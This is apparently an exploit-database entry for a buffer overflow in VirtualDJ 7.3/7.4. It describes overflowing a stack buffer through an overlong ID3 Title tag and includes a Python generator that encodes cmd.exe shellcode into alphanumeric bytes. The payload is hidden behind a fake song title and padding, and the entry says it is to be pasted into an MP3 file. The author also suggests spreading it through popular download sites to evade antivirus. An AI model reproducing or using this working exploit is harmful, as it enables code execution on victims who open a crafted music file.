# Exploit Title: VirtualDJ Pro/Home <=7.3 Buffer Overflow Vulnerability # Date: 23.03.2013 # Exploit Author: Alexandro Sánchez Bach (functionmixer.blogspot.com) # Vendor Homepage: http://www.virtualdj.com/ # Software Link: http://www.filehippo.com/en/download_virtualdj/14361/ # Version: VirtualDJ Pro/Home 7.3 # Tested on: Windows XP SP3 # Demo: http://www.youtube.com/watch?v=PJeaWqMJRm0 # Description: When the user enters a folder, VirtualDJ tries to retrieve all information from the ID3 tags of MP3 files inside such as �Title�, �Album�, and �Artist� and stores it in a buffer. After that, a second buffer of length *4096 *is allocated in the stack and only the characters A-Z from the first buffer will be copied to it. According to the ID3 v2.x standard, these tags can have length greater than *4096*; therefore it is possible to produce a buffer overflow in this second buffer. At the time when the buffer overflow happens and the program reaches the RETN instruction, the EDI register points to the first buffer. We cannot assign the EIP the address of the first buffer directly since it contains characters which are not in range A-Z. However if we take into account the previous information, we can do this indirectly: We can set the bytes of the title 4100:4104 = "FSFD". After the buffer overflows occurs we get EIP = "FSFD" = 0x44465346. At this address (inside urlmon.dll) we find a "CALL EDI" instruction and so the bytes in the first buffer will be executed. Now we face another problem. VirtualDJ has inserted a "C3" byte (RETN) before each non-printable ASCII character in the first buffer and we cannot execute the shellcode directly. We can solve this by pushing into the stack the bytes of the shellcode using only printable ASCII characters. Let me explain: Instead of pushing the bytes 0xB8, 0xFF, 0xEF, 0xFF (68FFEFFFB8) directly, we can do exactly the same using only printable ASCII characters (�%@@@@%????-R@D@-R@D@-R@D@-R?C?P�): AND EAX, 40404040 //2540404040 == �%@@@@� AND EAX, 3F3F3F3F //253F3F3F3F == �%????� <-- EAX = 0 SUB EAX, 40444052 //2D40444052 == �-R@D@� SUB EAX, 40444052 //2D40444052 == �-R@D@� SUB EAX, 40444052 //2D40444052 == �-R@D@� SUB EAX, 3F433F52 //2D3F433F52 == �-R?C?� <-- EAX = FFEFFFB8 PUSH EAX // 50 == �P� Once all the bytes of the shellcode are pushed into the stack (in inverse order) we use PUSH ESP (0x54 == "T") and RETN (0xC3) to run the shellcode. This time, it doesn't matter if VirtualDJ pushes another 0xC3 byte before this one. I think this is a pretty serious vulnerability since VirtualDJ is considered the #1 software for mixing music with millions of downloads around the world. By exploiting this vulnerability it would be possible to spread quickly a malware just by uploading a malicious MP3 file in a popular site. Even worse, I guess this file wouldn't be detected by any antivirus. It should be also possible to "hide" the bytes of the exploit behind the real title of the MP3 file and a lot of spaces. #Exploit: VirtualDJ Pro/Home <=7.4 Buffer Overflow Vulnerability #By: Alexandro Sanchez Bach | functionmixer.blogspot.com #More info: http://www.youtube.com/watch?v=Yini294AR2Q def encodeData(decoder, data, validValues): assert data.find("\0") == -1, "Shellcode must be NULL free" data += "\0" #End of shellcode encData = decoder[-2:] decoder = decoder[:-2] for p in range(len(data)): dByte = ord(data[p]) pxByte = ord(encData[p+1]) bx, by = encoder(dByte ^ pxByte, validValues) encData += chr(bx) + chr(by) return decoder + encData def encoder(value, validValues): for bx in validValues: imul = (bx * 0x30) & 0xFF for by in validValues: if imul ^ by == value: return [bx, by] #Shellcode (e.g. run cmd.exe) shellcode = "\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC" shellcode += "\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45" shellcode += "\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45" shellcode += "\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45" shellcode += "\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3" retAddress = "\xED\x1E\x94\x7C" # jmp ESP ntdll.dll WinXP SP2 shellcode += retAddress #Arguments fakeTitle = "Greatest Hits of the Internet - Nyan Cat" while fakeTitle == " ": fakeTitle = fakeTitle[1:] while fakeTitle[-1] == " ": fakeTitle = fakeTitle[:-1] for i in fakeTitle: if i not in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz -": raise "Invalid characters in the fake title" fakeTitle2 = fakeTitle.replace("-"," ") while " " in fakeTitle2: fakeTitle2 = fakeTitle2.replace(" "," ") #Exploit exploit = fakeTitle+" "*1024+"1"*(1026-len(fakeTitle2)-1) exploit += "dLMD" #RETN address exploit += "XXAI" #ESP := Baseaddr of encoded payload exploit += encodeData("TYhffffk4diFkDql02Dqm0D1CuEE", #Baseaddr of encoded payload := ESP shellcode, map(ord, list("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz")) ) print exploit #Paste the generated code in the tag 'Title' of the MP3 file.
Related ExploitsTrying to match OSVDBs (1): 92085
Trying to match setup file: f60e31f1e29bfa6e870aac8c5d958583
Other Possible E-DB Search Terms: VirtualDJ Pro/Home 7.3, VirtualDJ Pro/Home